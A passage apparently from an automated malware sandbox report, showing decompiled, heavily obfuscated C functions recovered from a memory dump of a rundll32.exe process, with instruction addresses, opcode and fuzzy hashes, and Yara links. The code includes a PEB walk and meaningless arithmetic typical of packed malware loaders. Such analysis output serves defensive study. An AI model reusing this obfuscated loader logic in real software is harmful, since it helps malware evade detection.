					_t112 = 0;
					_push(__ebx);
					_t75 = _v12 & 0x00000000 ^ __ebx & 0x00000000 ^  *( *((intOrPtr*)((0 ^  *[fs:0x30]) + 0xc)) + 0xc);
					__eflags = _t75;
					_pop(_t63);
					while(1) {
						_t112 = _t112 & 0x00000000 ^ _t91 ^  *_t140 ^  *(_t75 + 0x1c);
						_t91 = _t91;
						__eflags = _t52 - _t112;
						if(_t52 == _t112) {
							break;
						}
						__eflags = _t91 - _t112;
						if(__eflags != 0) {
							_t75 =  *(_t75 + 4);
							if(__eflags != 0) {
								continue;
							} else {
								 *((intOrPtr*)(_t63 + 0x41ce4a)) = 1;
								_pop( *_t42);
								_pop( *_t44);
								_pop( *_t46);
								_t54 = _t52 & 0x00000000 ^ _t140[1];
								__eflags = _t54;
								return _t54;
							}
						} else {
							_pop( *_t36);
							_pop( *_t38);
							_t56 = _t52 & 0x00000000 |  *(_t140 - 0xfffffffc + 4);
							__eflags = _t56;
							return _t56;
						}
						goto L9;
					}
					_v8 = _t63;
					 *(_t75 + 0x1c) = _t91;
					_pop( *_t32);
					__eflags = 0 ^ _t140[2];
					_pop( *_t34);
					return _v8;
				} else {
					_pop( *_t4);
					_pop( *_t6);
					return  *((intOrPtr*)( &(_t140[1]) - 0xfffffffc));
				}
				L9:
			}

0x00e92a6f
0x00e92a72
0x00e92a75
0x00e92a76
0x00e92a79
0x00e92a7c
0x00e92a7f
0x00e92a82
0x00e92a83
0x00e92a86
0x00e92a89
0x00e92a8a
0x00e92a8d
0x00e92a97
0x00e92ac9
0x00e92ad4
0x00e92ad9
0x00e92ae5
0x00e92aea
0x00e92af9
0x00e92afb
0x00e92afe
0x00e92b01
0x00e92b0f
0x00e92b11
0x00e92b14
0x00e92b1e
0x00e92b23
0x00e92b25
0x00e92b28
0x00e92b29
0x00e92b30
0x00e92b33
0x00e92b3a
0x00e92b41
0x00e92b4f
0x00e92b53
0x00e92b5d
0x00e92b5d
0x00e92b5f
0x00e92b60
0x00e92b6a
0x00e92b6c
0x00e92b6d
0x00e92b6f
0x00000000
0x00000000
0x00e92bb4
0x00e92bb6
0x00e92bf2
0x00e92bf5
0x00000000
0x00e92bfb
0x00e92bfb
0x00e92c05
0x00e92c11
0x00e92c1d
0x00e92c35
0x00e92c35
0x00e92c3c
0x00e92c3c
0x00e92bb8
0x00e92bb8
0x00e92bc4
0x00e92be8
0x00e92be8
0x00e92bef
0x00e92bef
0x00000000
0x00e92bb6
0x00e92b71
0x00e92b78
0x00e92b9c
0x00e92ba4
0x00e92baa
0x00e92bb1
0x00e92a99
0x00e92a9f
0x00e92aaf
0x00e92ac6
0x00e92ac6
0x00000000

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction ID: 3df86d1a7500e7edb4dd208a44c896ceccac355ff25227601e0014ea1ac099cc
Opcode Fuzzy Hash: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction Fuzzy Hash: 6051CE73D04500EFEB04DF69D98279EBBB1FF80320F1AC5ADC995A7284CA746A10CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00E9150C, Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E9150C(signed int __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t88;
				signed int _t95;
				void* _t97;
				signed int _t100;
				signed int _t101;
				void* _t106;
				signed int _t107;
				signed int _t112;
				signed int _t115;
				signed int _t116;
				signed int _t118;
				signed int _t124;
				signed int _t126;
				void* _t130;

				_t106 = __ebx;
				if(_t130 != _v12) {
					_t88 = __eax & 0x00000001;
					_t112 = _t112 & 0xffffffff;
				} else {
					_t88 = __eax ^ 0x1f4;
				}
				_a12 = _a12 - _t112;
				_a4 = _a4 & _t88;
				_a12 = 0xffffffff;
				_v12 = _v12 | _t107;
				_v12 = _v12 - 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_v8 = _v8 - 1;
				_t115 = _t112 + 1 - 1 + 1;
				_v8 = _v8 | _t107 - 0x00000001;
				_t90 = _t88 - 0x51d + 0xffffffff;
				_a4 = _a4 ^ _t115;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) & _t126;
				_v12 = _v12 - _t88 - 0x51d + 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t95 = E00E94A23(((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t106,  *((intOrPtr*)(_t106 + 0x41ce29)), ((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t126);
				_a4 = 0x458;
				 *(_t106 + 0x41d23c) = _t95;
				_a8 = _a8 ^ _t95;
				_t124 = _t115;
				 *(_t106 + 0x41d23c) = 0;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ 0x00000001;
				 *(_t106 + 0x41d23c) = 0x13a;
				_a8 = _a8 - 0x31f;
				 *(_t106 + 0x41d23c) = _t126;
				_a8 = _a8 + 1;
				_t116 = _t115 - 1;
				_t97 = E00E94A23(_t95 - 0x730, _t106, _t116,  *((intOrPtr*)(_t106 + 0x41c914)),  *((intOrPtr*)(_t106 + 0x41cea6)));
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + _t97;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ _t116;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t100 = (_t97 + 0x00000001 ^ 0x00000000) + 0xffffffff;
				_v12 = _v12 & _t100;
				_t101 = _t100 ^ 0x00000000;
				_v12 = _t101;
				_v12 = _v12 + _t124;
				_v8 = _v8 - 1;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + 1;
				_t118 = _t116 - _a8 - 0xffffffff;
				 *(_t106 + 0x41d23c) = _t118;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - (_t124 & 0x00000330);
				_v12 = _v12 & _t118;
				_a12 = _a12 | _t118;
				return (_t101 ^ 0x00000000) - 0x00000001 ^ 0x00000000;
			}

0x00e9150c
0x00e9151a
0x00e91528
0x00e9152d
0x00e9151c
0x00e91521
0x00e91521
0x00e91530
0x00e91533
0x00e91543
0x00e9154b
0x00e91552
0x00e91559
0x00e91562
0x00e91565
0x00e9156d
0x00e91570
0x00e91575
0x00e91578
0x00e9157e
0x00e91581
0x00e915aa
0x00e915af
0x00e915b6
0x00e915bc
0x00e915c1
0x00e915c3
0x00e915c9
0x00e915d3
0x00e915dd
0x00e915e9
0x00e915f6
0x00e915f9
0x00e9160c
0x00e91611
0x00e9161c
0x00e91627
0x00e9162d
0x00e91639
0x00e9163c
0x00e91644
0x00e91647
0x00e91652
0x00e91655
0x00e9165c
0x00e91668
0x00e9166e
0x00e9167f
0x00e91682
0x00e91690

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction ID: 70acbdb56e56c5c1fe03cc6f56689e28356a3f71cd8f83a4d007bdf42c72fde0
Opcode Fuzzy Hash: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction Fuzzy Hash: 57413AB2C11605ABEB04CF76CA857DA7BB1EF44330F24C3A9AC399A0D5C3788651AF55

Uniqueness

Uniqueness Score: -1.00%

Function 00E91967, Relevance: .1, Instructions: 101
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E91967(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t98;
				void* _t111;
				signed int _t116;
				void* _t117;
				signed int _t118;
				signed int _t119;
				void* _t121;
				signed int _t126;
				signed int _t128;
				signed int _t129;
				signed int _t130;

				_t117 = __ebx;
				_t98 = __eax;
				if(__ebx >= _a4) {
					_a4 = _a4 & _t128;
					_a4 = _a4 + 0xffffffff;
				} else {
					_t128 = (_t128 + 0xffffffff & 0x000006b0) + 1;
				}
				 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ 0x000003e3;
				_t129 = _t128 & 0x00000000;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) ^ _t98;
				if( *(_t117 + 0x41c345) < 0x34d9) {
					_a4 = _a4 & 0xffffffff;
					_t98 = _t98 + 1;
				} else {
					 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ _t129;
					 *(_t117 + 0x41c345) = 0x295;
					_v8 = _v8 + 1;
				}
				_t119 = _t118 &  *(_t117 + 0x41c345);
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t129;
				_a4 = _a4 + _t129;
				_v8 = 0xffffffff;
				_t130 = _t129 + _v8;
				_a4 = _a4 | 0xfffff88b;
				_v8 = _v8 - 1;
				_v8 = _v8 + 1;
				_v8 = _v8 + 1;
				_v8 = _v8 | _t130;
				 *(_t117 + 0x41c598) = _t121 - _t119;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) & 0xffffffff;
				_v8 = _t119;
				_a4 = _a4 ^ 0x0000033f;
				_a4 = _a4 ^ _t119;
				_a4 = _a4 & _t126;
				_a4 = 0xfffffbb6;
				_v8 = _v8 | _t119;
				_v8 = _v8 - 1;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t126;
				_a4 = _a4 + 0xffffffff;
				_a4 = _a4 - 1;
				_a4 = _a4 - 1;
				_a4 = _a4 ^ 0x00000001;
				_a4 = _a4 & _t130;
				_t111 = E00E91693((((_t98 - 0x00000001 + 0xffffffff - 0x0000031a ^ 0x2b0) + 0x00000409 ^ 0 | 0xffffffff) + 0xfffff86b ^ 0x00000000) + 1, _t117,  *((intOrPtr*)(_t117 + 0x41c6d0)),  *((intOrPtr*)(_t117 + 0x41c3f5)));
				 *(_t117 + 0x41c598) = 0x6a4;
				_t116 = (_t111 - 0x00000001 + 0x0000030f ^ 0xfffffffffffffffe) & 0x00000001;
				_a4 = _t116;
				_a4 = _a4 - 1;
				_v8 = _v8 - 0xffffffff;
				return _t116;
			}

0x00e91967
0x00e91967
0x00e91975
0x00e91985
0x00e91988
0x00e91977
0x00e91980
0x00e91980
0x00e9198c
0x00e91996
0x00e91999
0x00e919a9
0x00e919c0
0x00e919c4
0x00e919ab
0x00e919ab
0x00e919b1
0x00e919bb
0x00e919bb
0x00e919c5
0x00e919cb
0x00e919d1
0x00e919d9
0x00e919e0
0x00e919f4
0x00e919fb
0x00e919fe
0x00e91a03
0x00e91a07
0x00e91a0a
0x00e91a16
0x00e91a1d
0x00e91a25
0x00e91a3c
0x00e91a4e
0x00e91a54
0x00e91a60
0x00e91a6d
0x00e91a70
0x00e91a76
0x00e91a7a
0x00e91a84
0x00e91a87
0x00e91a8b
0x00e91a9a
0x00e91abc
0x00e91af5
0x00e91afa
0x00e91b02
0x00e91b05
0x00e91b1b

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction ID: 9b87c72db62977736ca4bca2e16474a679c49415f3828a0355f0023c1c531f1f
Opcode Fuzzy Hash: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction Fuzzy Hash: 4D416D72C10619EBEB04CF68C9CA7CA3A70EF40330F288399AC789D1D6C33956519A94

Uniqueness

Uniqueness Score: -1.00%

Function 00E9510C, Relevance: .1, Instructions: 98
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E9510C(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __esi) {
				void* _t172;

				_t172 = __ebx;
				 *((intOrPtr*)(__esi - 0x7d)) =  *((intOrPtr*)(__esi - 0x7d)) + __ebx;
				 *0x80 =  *0x80 + __ecx + 1;
			}

0x00e9510c
0x00e9510f
0x00e95117

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331e0fd28ad3b28dfd5da4a79875bb9b5a58f2601806572cfc4b17282ee6567e
Instruction ID: 2e2878223ef4efc54b57d59c90ba9daa29eeb841fbd82d2b7487abb98f05271e
Opcode Fuzzy Hash: 331e0fd28ad3b28dfd5da4a79875bb9b5a58f2601806572cfc4b17282ee6567e
Instruction Fuzzy Hash: FB415E72844215CFEF00DFA4C8857EEBBF1FF08321F06056ED895AA145D7785924CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00E988BA, Relevance: .1, Instructions: 95
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E988BA(void* __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				void* _t56;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				void* _t77;
				void* _t83;
				signed int _t84;
				void* _t89;
				void* _t96;
				signed int _t100;
				void* _t102;

				_t77 = __ebx;
				_t56 = __eax;
				if(_a4 > 0x9b86) {
					_t83 = _t83 - 1;
					_t89 = _t89 + 0xffffffff;
				}
				_t57 = _t56 + 0xffffffff;
				_t78 = 0xffffffff;
				if(_t83 > _a8) {
					 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) & 0xffffffff;
				} else {
					_t78 = 0;
					_t57 = _t57 ^ 0x00000000;
				}
				_t58 = _t57 & 0x00000001;
				_a12 = 1;
				_t84 = _t83 + 1;
				 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) | _t58;
				_t59 = _t58 ^ _t96 + 0xfffffa6c;
				if(_t102 < _t89) {
					 *(_t77 + 0x41c619) = 1;
					_t78 = _v12;
				} else {
					_a8 = _a8 + _t78;
					_t59 = _t59 ^ 0xffffffff;
				}
				_v12 = _v12 + 1;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 + 0xffffffff;
				_a12 = _a12 + 0xffffff46;
				_v8 = _v8 - 1;
				_v8 = _v8 + 0xfffffad4;
				_a4 = _a4 | _t84;
				_a12 = _a12 + 1;
				_t100 = _a12;
				_v8 = _v8 ^ _t100;
				_v12 = 0xfffffcfa;
				_v12 = _v12 ^ 0xffffffff;
				_a4 = _t100;
				_v8 = _v8 - 0xfffffe99;
				_v12 = _v12 & _t78;
				_a8 = _a8 + 1;
				_a8 = _a8 | 0x00000001;
				return 1;
			}

0x00e988ba
0x00e988ba
0x00e988cc
0x00e988ce
0x00e988cf
0x00e988cf
0x00e988de
0x00e988e3
0x00e988eb
0x00e988f5
0x00e988ed
0x00e988ed
0x00e988ee
0x00e988ee
0x00e988fb
0x00e98904
0x00e9890b
0x00e9890c
0x00e98912
0x00e98916
0x00e98923
0x00e9892d
0x00e98918
0x00e98918
0x00e9891b
0x00e9891b
0x00e98930
0x00e98933
0x00e98941
0x00e98948
0x00e98954
0x00e9895c
0x00e98968
0x00e98978
0x00e9897b
0x00e98984
0x00e9898f
0x00e9899a
0x00e989aa
0x00e989c0
0x00e989c5
0x00e989d0
0x00e989da
0x00e989f3

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction ID: 81aa511fa9146f249e9249e1c347a45fe184a3222a5ac9fefca95416d651330d
Opcode Fuzzy Hash: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction Fuzzy Hash: 36316B72920A049BEB18CE78CD853DE7761FF81339F24835AEC359A1D1D7788A518B98

Uniqueness

Uniqueness Score: -1.00%

Function 00E927D4, Relevance: .1, Instructions: 93
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E927D4(signed int __eax, void* __ebx, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _t62;
				signed int _t64;
				signed int _t65;
				signed int _t76;
				void* _t78;
				signed int _t79;
				void* _t84;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;

				_t78 = __ebx;
				_t60 = __eax;
				if(_v8 >= 0x74b6) {
					_t60 = (__eax ^ _a4) + 1;
				} else {
					_t79 = _t79 + _t90;
				}
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t79;
				_t62 = E00E992B2(_t60, _t78,  *((intOrPtr*)(_t78 + 0x41c5d8)),  *((intOrPtr*)(_t78 + 0x41d186)));
				_v8 = _v8 + 1;
				_t64 = _t62 + 1 - 0xffffffff;
				if(_a4 < 0xae5c) {
					_t95 =  *(_t78 + 0x41c908);
				} else {
					_t90 = _t90 ^ 0x00000000;
					_t64 = _t64 & 0x00000000;
				}
				_v8 = _v8 & 0xffffffff;
				_t91 = _t90 - 1;
				_t65 = _t64 + 0xfffffea2;
				_a4 = _a4 ^ _t91;
				_a8 = 1;
				if(_t79 <= _v8) {
					_t65 = _t65 - 1;
					_v8 = _v8 ^ 0x0000029c;
					_t79 = _t79 | _a8;
				} else {
					_v8 = _v8 - 1;
					_t95 = _t95 & _a4;
					_a4 = _a4 + 1;
				}
				_t92 = _t91 & 0xfffff9dc;
				_a4 = _a4 + _t92;
				_a4 = _a4 - 1;
				_v8 = _v8 & 0x00000000;
				_a8 = _a8 - 1;
				_a8 = _a8 & 0x00000001;
				_t76 = ((((_t65 ^ 0xfffff825) + 0x00000001 & 0) - 0x00000001 & 0xfffffaf6 ^ 0x00000000) & 0) + 0x566;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) | _t84 -  *(_t78 + 0x41c908) + 0xffffffff;
				_v8 = _v8 ^ 0x00000001;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - 1;
				_a8 = _a8 - 1;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) & (_t95 - 0x00000001 ^ 0x00000000 ^ _t92 ^ 0x00000005 ^ _t76);
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t92 + 1 - 0x7fa;
				return _t76 & 0x000005b0;
			}

0x00e927d4
0x00e927d4
0x00e927e6
0x00e927f3
0x00e927e8
0x00e927e8
0x00e927e8
0x00e927f8
0x00e9280a
0x00e92814
0x00e92818
0x00e92824
0x00e92839
0x00e92826
0x00e92826
0x00e92829
0x00e92829
0x00e9283f
0x00e92843
0x00e92844
0x00e92849
0x00e9284c
0x00e92856
0x00e92863
0x00e92868
0x00e9286f
0x00e92858
0x00e92858
0x00e9285b
0x00e9285e
0x00e9285e
0x00e9287d
0x00e928a0
0x00e928a3
0x00e928a6
0x00e928ad
0x00e928bf
0x00e928e3
0x00e928ed
0x00e928fd
0x00e9290a
0x00e92911
0x00e92917
0x00e9291d
0x00e92929

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction ID: d6db398c163ab0bbebf8ec5513b6ef3496468f710e19f9333d0230d8076f397c
Opcode Fuzzy Hash: 60262cc59c0515fe76608e882f2625138d0fbd792c4745c0f20dbd6a2c004b33
Instruction Fuzzy Hash: 66319173920608AFEF04CF34CD863DA3B64EF50335F29C369AC299E0D5D37996909A54

Uniqueness

Uniqueness Score: -1.00%

Function 00E913C5, Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E913C5(signed int __eax, void* __ebx, intOrPtr _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t69;
				void* _t71;
				signed int _t89;
				void* _t93;
				signed int _t94;
				intOrPtr _t98;
				signed int _t103;
				signed int _t108;
				signed int _t109;
				signed int _t111;

				_t93 = __ebx;
				_t69 = __eax;
				if(__eax == 0xa709) {
					_t94 = _t94 | 0xffffffff;
				} else {
					 *(__ebx + 0x41ca6d) =  *(__ebx + 0x41ca6d) & _t108;
				}
				_t109 = _t108 +  *((intOrPtr*)(_t93 + 0x41c507));
				_a8 = _a8 - _t109;
				_v12 = _v12 & _t109;
				_v12 = _v12 - 1;
				_t71 = E00E99159(_t69 & 0x00000001, _t93,  *((intOrPtr*)(_t93 + 0x41d0c3)));
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0x417;
				 *((intOrPtr*)(_t93 + 0x41c507)) = _t98;
				_a8 = _a8 ^ _t103;
				 *((intOrPtr*)(_t93 + 0x41c507)) =  *((intOrPtr*)(_t93 + 0x41c507)) - 0x2a9;
				_t111 = _v8;
				_v8 = ((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0;
				_a12 = _a12 ^ 0xffffffff;
				_a4 = _a4 + 0xffffffff;
				_v12 = _v12 | _t111;
				 *((intOrPtr*)(_t93 + 0x41ca6d)) =  *((intOrPtr*)(_t93 + 0x41ca6d)) + _t111;
				_v12 = _v12 | _t111;
				_t89 = E00E9292C((((_t71 + _a8 + _t103 ^ 0xffffffff) - _v12 - 0xfffffffffffffeb4 - _v8 - 0xffffffff + 0x00000001 ^ 0x000004b9) - 0x00000001 ^ 0) - 1, _t93,  *((intOrPtr*)(_t93 + 0x41cf4b)),  *((intOrPtr*)(_t93 + 0x41ce86)), _t103 - 1 + 1);
				 *((intOrPtr*)(_t93 + 0x41ca6d)) = 0xffffffff;
				_v8 = _v8 - 0xffffffff;
				_v8 = _v8 - 1;
				_a8 = _a8 - 1;
				return (_t89 ^ 0xfffffffffffffe25) - 1;
			}

0x00e913c5
0x00e913c5
0x00e913d5
0x00e913df
0x00e913d7
0x00e913d7
0x00e913d7
0x00e913e5
0x00e913f0
0x00e913f3
0x00e913f9
0x00e91404
0x00e9140f
0x00e9141b
0x00e9142a
0x00e91452
0x00e9147b
0x00e9147e
0x00e9148d
0x00e91491
0x00e91495
0x00e914af
0x00e914b9
0x00e914ce
0x00e914d3
0x00e914ec
0x00e914f8
0x00e914fd
0x00e91509

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction ID: 5ab550bfef9b114aaa78ddb68bec0e97e3297e03c7716a0b053638184397b4c9
Opcode Fuzzy Hash: f7955dea17897fe3643e446ce251d4f90cae95f15a659bd5de779e5c9b3669b3
Instruction Fuzzy Hash: 6531AD72C10629ABEB04CE39CC8979A7B71FF40770F14C36AAC24994D9C7749660DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00E92566, Relevance: .1, Instructions: 84
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E92566(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t55;
				signed int _t60;
				signed int _t73;
				void* _t80;
				signed int _t81;
				void* _t93;

				_t80 = __ebx;
				_t55 = __eax;
				if(__ebx >= _t93) {
					_a4 = _a4 - 1;
				}
				_a4 = _a4 & 0x00000001;
				_v12 = _v12 - 1;
				_a4 = _a4 - 1;
				_t60 = ((_t55 ^ 0xffffffff) & 0) + 1;
				_v8 = _v8 + 0x40b;
				_v8 = _v8 ^ _t60;
				 *(_t80 + 0x41c9d8) =  *(_t80 + 0x41c9d8) ^ 0xffffffff;
				_v12 = _v12 & 0x00000000;
				 *(_t80 + 0x41c003) = 1;
				_a4 = _a4 ^ ((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574;
				_t73 = E00E97338((((_t60 - 0x00000001 + _t60 - 0x00000001 + 0x00000001 & 0x00000000) - 0xffffffff & 0xfffffbfb ^ 0xffffffff) + 0x574 & 0x00000001) - 0xfffffffffffffeed, _t80,  *((intOrPtr*)(_t80 + 0x41cdce)));
				_a4 = _a4 | _t73;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) ^ (_t81 | _a4) & _v12 ^ 0x00000000;
				_v8 = _v8 | 0xffffffe9;
				_v8 = 0xffffffff;
				 *(_t80 + 0x41c9d8) = _t73;
				 *(_t80 + 0x41c9d8) = 0xfffff81c;
				 *(_t80 + 0x41c9d8) = 0;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) & 0x00000440;
				_v12 = 0;
				_v12 = 0x3d2;
				 *(_t80 + 0x41c003) =  *(_t80 + 0x41c003) - _t81 + 0xffffffff;
				_v12 = _v12 + 1;
				return 2;
			}

0x00e92566
0x00e92566
0x00e92573
0x00e92575
0x00e92578
0x00e92583
0x00e92587
0x00e9258d
0x00e925a2
0x00e925b5
0x00e925bc
0x00e925bf
0x00e925c6
0x00e925e2
0x00e92600
0x00e92623
0x00e92628
0x00e9262b
0x00e92637
0x00e9263b
0x00e92642
0x00e92648
0x00e9265e
0x00e92669
0x00e92675
0x00e92678
0x00e92680
0x00e92692
0x00e926a8

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction ID: 46c959b521c3a713c4ed9c904cf43a1ae646f04a231dec3c09931dd3480c680c
Opcode Fuzzy Hash: 2d9f2a872924e3946419181a18b576f1bc412e886eb09c29eb84efba224b2e0d
Instruction Fuzzy Hash: 973185B3C10605ABEB00CE78CD863CA7B70EF50374F298369AD38EE1D5D37586919A94

Uniqueness

Uniqueness Score: -1.00%

Function 00E992B2, Relevance: .1, Instructions: 78
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00E992B2(signed int __eax, void* __ebx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t68;
				void* _t85;
				void* _t86;
				signed int _t91;
				void* _t92;
				signed int _t97;
				signed int _t98;
				void* _t101;

				_t85 = __ebx;
				_t101 = __eax - 0x2bdf;
				_t68 = E00E91967(__eax, __ebx,  *((intOrPtr*)(__ebx + 0x41d155)));
				if(_t101 < 0) {
					_a8 = _a8 - 1;
				} else {
					_t91 = _t91 & 0x00000000;
					 *(__ebx + 0x41cd75) =  *(__ebx + 0x41cd75) ^ 0xfffffe87;
				}
				_t98 = _t97 ^ 0x000000ac;
				 *(_t85 + 0x41cd75) = _t98;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ 0x00000001;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) ^ _t68;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t68 + 0xfffffe42;
				_a4 = _a4 & 0x000007d7;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + _t98 - 1;
				_v8 = _t86 + 1;
				_a8 = _a8 - 1;
				_v8 = _v8 ^ _t92 - 0xffffffff;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0x00000000;
				 *(_t85 + 0x41cd75) = 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				_v8 = _v8 + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) & 0xffffffff;
				_a8 = _a8 - _t91;
				_v8 = _v8 - 1;
				 *(_t85 + 0x41cd75) =  *(_t85 + 0x41cd75) + 0xffffffff;
				return (0xfffffffffffffdd8 ^ _t91) - 1;
			}

0x00e992b2
0x00e992bd
0x00e992c8
0x00e992cd
0x00e992e1
0x00e992cf
0x00e992cf
0x00e992d5
0x00e992d5
0x00e992e4
0x00e992ea
0x00e992f3
0x00e992f6
0x00e992fb
0x00e99306
0x00e99323
0x00e99344
0x00e9934a
0x00e9934d
0x00e99350
0x00e99353
0x00e9935a
0x00e99375
0x00e99385
0x00e9938e
0x00e99395
0x00e9939d
0x00e993ad
0x00e993bd
0x00e993c0
0x00e993df

Memory Dump Source

Source File: 00000000.00000002.364346287.0000000000E90000.00000040.00000001.sdmp, Offset: 00E90000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction ID: 7a139e0269970ae4034969f7877574ce79175f2cbb6e57fe8f3b33aa3ef11b12
Opcode Fuzzy Hash: 377b6065eaa96f6382e610e702929000c340969e1a3c2249ec044ad4b0ffd56c
Instruction Fuzzy Hash: 27319032890704EBFB048F38D9857DA7BB0EF41329F54827AEC199D1DAE37946109A55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 3336 Parent PID: 4952 rundll32.exeCOMMON

Executed Functions

Function 02FE5F16, Relevance: 4.8, APIs: 1, Strings: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E02FE5F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t68;
				void* _t70;
